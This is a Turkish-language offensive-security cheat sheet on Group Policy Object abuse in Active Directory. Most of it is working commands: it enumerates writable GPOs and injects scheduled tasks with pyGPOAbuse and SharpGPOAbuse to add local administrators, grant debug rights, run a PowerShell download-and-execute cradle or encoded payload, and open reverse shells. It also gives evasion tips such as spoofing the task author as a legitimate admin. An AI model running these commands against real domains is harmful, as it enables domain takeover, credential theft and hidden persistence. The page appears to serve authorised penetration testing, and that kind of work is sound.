Skip to content

GPO Abuse

ATT&CK T1484.001 difficulty: orta

Group Policy Object (GPO), bir OU’daki tüm kullanıcı ve bilgisayarlara ayar uygular. Bir GPO üzerinde yazma yetkiniz varsa (veya GPO oluşturup bağlayabiliyorsanız), GPO’ya immediate scheduled task / script / restricted groups ekleyerek bağlı nesnelerde kod çalıştırabilir, yerel yönetici ekleyebilir veya kullanıcıları ele geçirebilirsiniz.

Etki alanı = GPO’nun link edildiği kapsam. Domain Controllers OU’suna bağlı yazılabilir GPO = doğrudan domain takeover.

Terminal window
Get-DomainGPO | Get-DomainObjectAcl -ResolveGUIDs |
? { $_.ActiveDirectoryRights -match 'Write|Create|Delete|GenericAll' -and
$_.SecurityIdentifier -match 'YOUR_SID_OR_GROUP' }
Terminal window
Get-DomainGPOLocalGroup
Terminal window
Get-DomainOU | Get-DomainObjectAcl -ResolveGUIDs
Terminal window
nxc ldap DC -u user -p Pass -M gpp_password # yan ürün

BloodHound kenarları: GenericWrite/WriteDacl/Owns on GPO, GPLink, Contains.

GPO Abuse · pyGPOAbuse

embedded tool
Generated command
pygpoabuse.py domain.local/user:Pass123 -gpo-id 12345678-1234-1234-1234-1234567890ab -command whoami
  1. Hedef GPO ve kapsamını belirle — hangi OU / site; bilgisayar mı kullanıcı mı uyguluyor ( gpcMachineExtensionNames / user).

  2. Zararlı ayar enjekte et :

    Terminal window
    pygpoabuse.py domain.local/user:'Pass' -gpo-id '{GPO-GUID}' \
    -command 'net localgroup administrators domain\\evil /add' \
    -taskname 'Update' -description 'Security' -user
    Terminal window
    pygpoabuse.py domain.local/user:'Pass' -gpo-id '{GPO-GUID}' \
    -powershell -command 'IEX(New-Object Net.WebClient).DownloadString(...)'
    SharpGPOAbuse.exe --AddComputerTask --TaskName "Update" \
    --Author DOMAIN\Administrator --Command "cmd.exe" \
    --Arguments "/c net localgroup administrators domain\evil /add" \
    --GPOName "Vulnerable GPO"
    SharpGPOAbuse.exe --AddUserRights --UserRights "SeDebugPrivilege" \
    --UserAccount evil --GPOName "Vulnerable GPO"
    SharpGPOAbuse.exe --AddLocalAdmin --UserAccount evil --GPOName "Vulnerable GPO"
  3. Uygulanmasını bekle / zorla :

    # Hedefte
    gpupdate /force
    # Varsayılan: bilgisayar ~90 dk, kullanıcı logon/90 dk
  4. Temizlik — task/XML’i geri al (angajman); aksi halde kalıcılık kalır.

GPO GUID klasörü: \domain\SYSVOL\domain\Policies{GUID}.

Machine\Preferences\ScheduledTasks\ScheduledTasks.xml
Machine\Microsoft\Windows NT\SecEdit\GptTmpl.inf (Restricted Groups)
User\Scripts\Logon\

version / GPT.INI artırılmazsa istemciler çekmeyebilir — araçlar bunu yönetir; manuel edit’te unutma.

OU üzerinde CreateChild / GenericWrite varsa yeni GPO üretip link’le:

Terminal window
New-GPO -Name 'Evil' | New-GPLink -Target 'OU=Servers,DC=domain,DC=local'
BloodHound: GenericWrite on "Desktop Policy" GPO
→ linked to Workstations OU
→ AddComputerTask reverse shell / local admin
→ gpupdate → LSASS on DA laptop
  • GPO değişikliği değişim kontrolü / AGPM olan yerde çok görünür.
  • Immediate task Author alanını meşru admin gibi doldur (SharpGPOAbuse –Author ).
  • Geniş Domain GPO yerine dar OU GPO tercih et (daha az host, daha az gürültü — veya tam tersi ihtiyaç).
  • Payload sonrası task’ı kaldır; aksi halde her gpupdate’de tekrar çalışır.
  • Yazma hakkı GPO’da var ama SYSVOL ACL yazmaya izin vermiyor (nadir ayrışma).
  • User vs Computer configuration karışıklığı — task yanlış tarafta.
  • gpupdate hak yok — beklemek gerekir.
  • WMI filter GPO’yu senin hedefine uygulamıyor.
  • DC’lerde “hızlı” test — production DC GPO’suna yazmak angajman ihlali olabilir; stop condition.
BloodHound WriteGPO / GenericWrite on GPO
→ SharpGPOAbuse immediate task → reverse shell
→ gpupdate / hedef reboot bekle
→ local admin / SYSTEM
Create GPO + Link to OU (CreateChild)
→ Restricted Groups: Domain Users → Administrators
→ tüm OU bilgisayarlarında local admin
Terminal window
SharpGPOAbuse.exe --AddComputerTask --TaskName "Update" \
--Author "DOMAIN\Administrator" --Command "cmd.exe" \
--Arguments "/c powershell -enc <B64>" --GPOName "Vulnerable GPO"
Terminal window
pygpoabuse.py domain.local/user:'Pass' -gpo-id '{GPO-GUID}' \
-powershell -command 'whoami' -taskname winUpdate
Terminal window
nxc smb DC -u user -p pass --share SYSVOL -M gpp_password

ACL Abuse · Exec methods · Persistence · Enumeration